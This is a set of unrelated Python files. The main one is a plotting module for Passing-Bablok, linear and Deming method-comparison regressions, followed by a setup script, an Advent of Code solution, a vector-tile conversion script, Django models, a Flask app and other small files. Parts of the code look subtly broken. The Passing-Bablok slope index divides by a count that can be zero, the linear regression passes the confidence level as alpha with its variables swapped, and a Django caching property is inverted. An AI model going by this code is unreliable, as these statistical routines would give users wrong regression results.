individual differences that will be plotted. Color should be provided in format compatible with matplotlib. color_deming : str, optional Color of the mean difference line that will be plotted. Color should be provided in format compatible with matplotlib. square : bool, optional If True, set the Axes aspect to "equal" so each cell will be square-shaped. point_kws : dict of key, value mappings, optional Additional keyword arguments for `plt.scatter`. ax : matplotlib Axes, optional Axes in which to draw the plot, otherwise use the currently-active Axes. Returns ------- ax : matplotlib Axes Axes object with the Deming plot. See Also ------- Koopmans, T. C. (1937). Linear regression analysis of economic time series. DeErven F. Bohn, Haarlem, Netherlands. Deming, W. E. (1943). Statistical adjustment of data. Wiley, NY (Dover Publications edition, 1985). """ plotter: _Deming = _Deming(method1, method2, vr, sdr, bootstrap, x_label, y_label, title, CI, line_reference, line_CI, legend, color_points, color_deming, point_kws) # Draw the plot and return the Axes if ax is None: ax = plt.gca() if square: ax.set_aspect('equal') plotter.plot(ax) return ax class _PassingBablok(object): """Internal class for drawing a Passing-Bablok regression plot""" def __init__(self, method1, method2, x_label, y_label, title, CI, line_reference, line_CI, legend, color_points, color_paba, point_kws): self.method1: np.array = np.asarray(method1) self.method2: np.array = np.asarray(method2) self.x_title = x_label self.y_title = y_label self.graph_title = title self.CI = CI self.color_points = color_points self.color_paba = color_paba self.line_reference = line_reference self.line_CI = line_CI self.legend = legend self.point_kws = {} if point_kws is None else point_kws.copy() self._check_params() self._derive_params() def _check_params(self): if len(self.method1) != len(self.method2): raise ValueError('Length of method 1 and method 2 are not equal.') if self.CI is not None and (self.CI > 1 or self.CI < 0): raise ValueError('Confidence interval must be between 0 and 1.') if any([not isinstance(x, str) for x in [self.x_title, self.y_title]]): raise ValueError('Axes labels arguments should be provided as a str.') def _derive_params(self): self.n = len(self.method1) self.sv = [] for i in range(self.n - 1): for j in range(i + 1, self.n): self.sv.append((self.method2[i] - self.method2[j]) / (self.method1[i] - self.method1[j])) self.sv.sort() n = len(self.sv) k = math.floor(len([a for a in self.sv if a < 0]) / 2) if n % 2 == 1: self.slope = self.sv[int((n + 1) / k + 2)] else: self.slope = math.sqrt(self.sv[int(n / 2 + k)] * self.sv[int(n / 2 + k + 1)]) _ci = st.norm.ppf(1 - (1 - self.CI) / 2) * math.sqrt((self.n * (self.n - 1) * (2 * self.n + 5)) / 18) _m1 = int(round((n - _ci) / 2)) _m2 = n - _m1 - 1 self.slope = [self.slope, self.sv[k + _m1], self.sv[k + _m2]] self.intercept = [np.median(self.method2 - self.slope[0] * self.method1), np.median(self.method2 - self.slope[1] * self.method1), np.median(self.method2 - self.slope[2] * self.method1)] def plot(self, ax): # plot individual points ax.scatter(self.method1, self.method2, s=20, alpha=0.6, color=self.color_points, **self.point_kws) # plot reference line if self.line_reference: ax.plot([0, 1], [0, 1], label='Reference', color='grey', linestyle='--', transform=ax.transAxes) # plot PaBa-line _xvals = np.array(ax.get_xlim()) _yvals = [self.intercept[s] + self.slope[s] * _xvals for s in range(0, 3)] ax.plot(_xvals, _yvals[0], label=f'{self.intercept[0]:.2f} + {self.slope[0]:.2f} * Method 1', color=self.color_paba, linestyle='-') ax.fill_between(_xvals, _yvals[1], _yvals[2], color=self.color_paba, alpha=0.2) if self.line_CI: ax.plot(_xvals, _yvals[1], linestyle='--') ax.plot(_xvals, _yvals[2], linestyle='--') if self.legend: ax.legend(loc='upper left', frameon=False) ax.set_ylabel(self.y_title) ax.set_xlabel(self.x_title) if self.graph_title is not None: ax.set_title(self.graph_title) def passingbablok(method1, method2, x_label='Method 1', y_label='Method 2', title=None, CI=0.95, line_reference=True, line_CI=False, legend=True, color_points='#000000', color_paba='#008bff', point_kws=None, square=False, ax=None): """Provide a method comparison using Passing-Bablok regression. This is an Axis-level function which will draw the Passing-Bablok plot onto the current active Axis object unless ``ax`` is provided. Parameters ---------- method1, method2 : array, or list Values obtained from both methods, preferably provided in a np.array. x_label : str, optional The label which is added to the X-axis. If None is provided, a standard label will be added. y_label : str, optional The label which is added to the Y-axis. If None is provided, a standard label will be added. title : str, optional Title of the Passing-Bablok plot. If None is provided, no title will be plotted. CI : float, optional The confidence interval employed in the passing-bablok line. Defaults to 0.95. line_reference : bool, optional If True, a grey reference line at y=x will be plotted in the plot. Defaults to true. line_CI : bool, optional If True, dashed lines will be plotted at the boundaries of the confidence intervals. Defaults to false. legend : bool, optional If True, will provide a legend containing the computed Passing-Bablok equation. Defaults to true. color_points : str, optional Color of the individual differences that will be plotted. Color should be provided in format compatible with matplotlib. color_paba : str, optional Color of the mean difference line that will be plotted. Color should be provided in format compatible with matplotlib. square : bool, optional If True, set the Axes aspect to "equal" so each cell will be square-shaped. point_kws : dict of key, value mappings, optional Additional keyword arguments for `plt.scatter`. ax : matplotlib Axes, optional Axes in which to draw the plot, otherwise use the currently-active Axes. Returns ------- ax : matplotlib Axes Axes object with the Passing-Bablok plot. See Also ------- Passing H and Bablok W. J Clin Chem Clin Biochem, vol. 21, no. 11, 1983, pp. 709 - 720 """ plotter: _PassingBablok = _PassingBablok(method1, method2, x_label, y_label, title, CI, line_reference, line_CI, legend, color_points, color_paba, point_kws) # Draw the plot and return the Axes if ax is None: ax = plt.gca() if square: ax.set_aspect('equal') plotter.plot(ax) return ax class _Linear(object): """Internal class for drawing a simple, linear regression plot""" def __init__(self, method1, method2, x_label, y_label, title, CI, line_reference, line_CI, legend, color_points, color_regr, point_kws): self.method1: np.array = np.asarray(method1) self.method2: np.array = np.asarray(method2) self.x_title = x_label self.y_title = y_label self.graph_title = title self.CI = CI self.color_points = color_points self.color_regr = color_regr self.line_reference = line_reference self.line_CI = line_CI self.legend = legend self.point_kws = {} if point_kws is None else point_kws.copy() self._check_params() self._derive_params() def _check_params(self): if len(self.method1) != len(self.method2): raise ValueError('Length of method 1 and method 2 are not equal.') if self.CI is not None and (self.CI > 1 or self.CI < 0): raise ValueError('Confidence interval must be between 0 and 1.') if any([not isinstance(x, str) for x in [self.x_title, self.y_title]]): raise ValueError('Axes labels arguments should be provided as a str.') def _derive_params(self): self.n = len(self.method1) _model = sm.OLS(self.method1, sm.add_constant(self.method2)).fit() _params = _model.params _confint = _model.conf_int(alpha=self.CI) self.intercept = [_confint[0][0], _params[0], _confint[0][1]] self.slope = [_confint[1][0], _params[1], _confint[1][1]] def plot(self, ax): # plot individual points ax.scatter(self.method1, self.method2, s=20, alpha=0.6, color=self.color_points, **self.point_kws) # plot reference line if self.line_reference: ax.plot([0, 1], [0, 1], label='Reference', color='grey', linestyle='--', transform=ax.transAxes) # plot linear regression _xvals = np.array(ax.get_xlim()) _yvals = [self.intercept[s] + self.slope[s] * _xvals for s in range(0, 3)] ax.plot(_xvals, _yvals[0], label=f'{self.intercept[0]:.2f} + {self.slope[0]:.2f} * Method 1', color=self.color_regr, linestyle='-') ax.fill_between(_xvals, _yvals[1], _yvals[2], color=self.color_regr, alpha=0.2) if self.line_CI: ax.plot(_xvals, _yvals[1], linestyle='--') ax.plot(_xvals, _yvals[2], linestyle='--') if self.legend: ax.legend(loc='upper left', frameon=False) ax.set_ylabel(self.y_title) ax.set_xlabel(self.x_title) if self.graph_title is not None: ax.set_title(self.graph_title) def linear(method1, method2, x_label='Method 1', y_label='Method 2', title=None, CI=0.95, line_reference=True, line_CI=False, legend=True, color_points='#000000', color_regr='#008bff', point_kws=None, square=False, ax=None): """Provide a method comparison using simple, linear regression. This is an Axis-level function which will draw the linear regression plot onto the current active Axis object unless ``ax`` is provided. Parameters ---------- method1, method2 : array, or list Values obtained from both methods, preferably provided in a np.array. x_label : str, optional The label which is added to the X-axis. If None is provided, a standard label will be added. y_label : str, optional The label which is added to the Y-axis. If None is provided, a standard label will be added. title : str, optional Title of the linear regression plot. If None is provided, no title will be plotted. CI : float, optional The confidence interval employed in the linear regression line. Defaults to 0.95. line_reference : bool, optional If True, a grey reference line at y=x will be plotted in the plot. Defaults to true. line_CI : bool, optional If True, dashed lines will be plotted at the boundaries of the confidence intervals. Defaults to false. legend : bool, optional If True, will provide a legend containing the computed Linear regression equation. Defaults to true. color_points : str, optional Color of the individual differences that will be plotted. Color should be provided in format compatible with matplotlib. color_paba : str, optional Color of the mean difference line that will be plotted. Color should be provided in format compatible with matplotlib. square : bool, optional If True, set the Axes aspect to "equal" so each cell will be square-shaped. point_kws : dict of key, value mappings, optional Additional keyword arguments for `plt.scatter`. ax : matplotlib Axes, optional Axes in which to draw the plot, otherwise use the currently-active Axes. Returns ------- ax : matplotlib Axes Axes object with the linear regression plot. See Also ------- .............. """ plotter: _Linear = _Linear(method1, method2, x_label, y_label, title, CI, line_reference, line_CI, legend, color_points, color_regr, point_kws) # Draw the plot and return the Axes if ax is None: ax = plt.gca() if square: ax.set_aspect('equal') plotter.plot(ax) return ax
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#! /usr/bin/env python -*- coding: utf-8 -*- """ Name: setup.py Desscription: Install the maclib package. Version: 1 - Inital release Author: J.MacGrillen <macgrillen@gmail.com> Copyright: Copyright (c) John MacGrillen. All rights reserved. """ from setuptools import setup, find_packages with open("README.md", "r") as fh: long_description = fh.read() install_requirements = [ "maclib", "opencv-python", "numpy", "Pillow", "charset-normalizer" ] def setup_perspective_package() -> None: """ Install and configure Perspective for use """ setup( name='Perspective', version="0.0.1", description='Analyse images using the range of tools provided', long_description=long_description, author='J.MacGrillen', scripts=[], packages=find_packages(exclude=['tests*']), include_package_data=True, install_requires=install_requirements, license="MIT License", python_requires=">= 3.7.*", classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'Natural Language :: English', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python', 'Programming Language :: Python :: 3', ], ) if __name__ == "__main__": setup_perspective_package()
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# Playing with pattern matching in python 3.10 # Add lambda to parse commands into command and corresponding units parse_command = lambda x, y: (x, int(y)) # Read puzzle input with open ('day2.txt') as fp: commands = [parse_command(*x.strip().split(' ')) for x in fp.readlines()] horizontal_position = 0 depth = 0 for command in commands: match command: case ['forward', units]: horizontal_position = horizontal_position + units case ['down', units]: depth = depth + units case ['up', units]: depth = depth - units # Part 1 print(depth * horizontal_position) # Part 2 aim = 0 horizontal_position = 0 depth = 0 for command in commands: match command: case ['forward', units]: horizontal_position = horizontal_position + units depth = depth + (aim * units) case ['down', units]: aim = aim + units case ['up', units]: aim = aim - units print(depth * horizontal_position)
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#!/bin/env python3 from argparse import ArgumentParser import csv import os from pathlib import Path import subprocess import sys this_directory = Path(__file__).parent.resolve() vector_script_path = this_directory / 'prepare_vector.sh' def run_single_processing(in_file_path: Path, out_file_path: Path, layer_name: str, output_layer_name: str, spatial_type: str, where_filter: str, **kwargs): print(f'Processing vector "{in_file_path}" -> "{out_file_path}"') command = f'{vector_script_path} "{in_file_path}" "{out_file_path}" "{output_layer_name}" "{spatial_type}" "{layer_name}" "{where_filter}"' print(f"Running command: {command}", flush=True) subprocess.run(command, shell=True, stdout=sys.stdout, stderr=sys.stderr) def process_vector_datasets(raw: Path, out: Path): infrastructure_dir = raw / 'networks' csv_path = infrastructure_dir / 'network_layers.csv' assert csv_path.is_file(), f"{csv_path} is not a file" with csv_path.open() as f: reader = csv.DictReader(f) assert 'path' in reader.fieldnames assert 'layer_name' in reader.fieldnames assert 'spatial_type' in reader.fieldnames assert 'where_filter' in reader.fieldnames assert 'output_layer_name' in reader.fieldnames for row in reader: in_file_path = raw / row['path'] output_layer_name = row['output_layer_name'] out_file_path = out / f"{output_layer_name}.mbtiles" if os.path.exists(out_file_path) and (os.path.getmtime(in_file_path) < os.path.getmtime(out_file_path)): print("Skipping", out_file_path) continue run_single_processing(in_file_path, out_file_path, **row) if __name__ == '__main__': parser = ArgumentParser(description='Converts all vector datasets to GeoJSON and then to MBTILES') parser.add_argument('--raw', type=Path, help='Root of the raw data directory. Assumes a file network_layers.csv exists in the dir.', required=True) parser.add_argument('--out', type=Path, help='Directory in which to store results of the processing', required=True) args = parser.parse_args() process_vector_datasets(args.raw.expanduser().resolve(), args.out.expanduser().resolve())
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from django.db import models from django.contrib.auth.models import User from django.core.validators import MinLengthValidator # Create your models here. class Post(models.Model): image = models.ImageField(upload_to='uploads/') content = models.TextField(max_length=200, validators=[MinLengthValidator(10)]) author = models.ForeignKey(User, on_delete=models.CASCADE) created_at = models.DateTimeField(auto_now_add=True) def __str__(self): return f"Post '{self.content}' shared by '{self.author.username}'" @property def likes_count(self): if hasattr(self, '_likes_count'): return self.like_set.count() self._likes_count = self.like_set.count() return self.like_set.count() @property def comments_count(self): if hasattr(self, '_comments_count'): return self.comment_set.count() self._comments_count = self.comment_set.count() return self.comment_set.count() class Like(models.Model): post = models.ForeignKey(Post, on_delete=models.CASCADE) user = models.ForeignKey(User, on_delete=models.CASCADE) created_at = models.DateTimeField(auto_now_add=True) def __str__(self): return f"Post '{self.post.content}' liked by '{self.user.username}'" class Comment(models.Model): post = models.ForeignKey(Post, on_delete=models.CASCADE) user = models.ForeignKey(User, on_delete=models.CASCADE) content = models.TextField(max_length=200, validators=[MinLengthValidator(10)]) created_at = models.DateTimeField(auto_now_add=True) def __str__(self): return f"Post '{self.post.content}' commented by '{self.user.username}'"
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def duplicate_count(text): x = set() y = set() for char in text: char = char.lower() if char in x: y.add(char) x.add(char) return len(y) def duplicate_count2(s): return len([c for c in set(s.lower()) if s.lower().count(c) > 1])
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import stable.modalities.dir_dataset as dataset import os.path def test_load_all_images(): srcdir = os.path.join("tests", "assets") data, metadata = dataset.load_all_images(srcdir) assert metadata["resolutions"] == [(125, 140)] assert data[0].shape[2] == 2 assert metadata["filenames"][0] == ["mari_magdalena-detail.png", "mari_magdalenaIR-detail.png"]
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import logging import jsonschema from flask import Flask, jsonify from flask import make_response from flasgger import Swagger from sample.config import Config def init_logging(app): handler = logging.StreamHandler() handler.setLevel(logging.INFO) handler.setFormatter(logging.Formatter( '%(asctime)s %(levelname)s [%(pathname)s:%(lineno)s] - %(message)s')) app.logger.setLevel(logging.INFO) app.logger.addHandler(handler) if app.debug: sa_logger = logging.getLogger('sqlalchemy.engine') sa_logger.setLevel(logging.INFO) sa_logger.addHandler(handler) app = Flask(__name__) app.config.update(Config or {}) init_logging(app) Swagger(app) @app.errorhandler(jsonschema.ValidationError) def handle_bad_request(e): return make_response(jsonify(code=400, message=e.schema.get('error', '参数校验错误'), details=e.message, schema=str(e.schema)), 200) from sample.api import api app.register_blueprint(api, url_prefix='/api/v123456') if __name__=='__main__': app.run()
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import numpy as np from .cnn import CNN from .kviews import KViews from .. import const class EndToEnd(): def __init__( self, bg_model: CNN, rs_model: KViews ) -> None: self.name = 'EndToEnd' self.bg_model = bg_model self.rs_model = rs_model def metadata(self): return self.bg_model.metadata() + self.rs_model.metadata() def predict(self, image: np.ndarray) -> np.ndarray: # first find background preds = self.bg_model.predict(image) # cuticle detected, so use rs_model if preds.any() == const.BG_LABEL_MAP['cuticle']: idx = np.where(preds == 1) rs_preds = self.rs_model.predict(image[idx]) # remap (0, 1) to (1, 2) mp = {0: 1, 1: 2} rs_preds = np.array([mp[i] for i in rs_preds]) preds[idx] = rs_preds return preds
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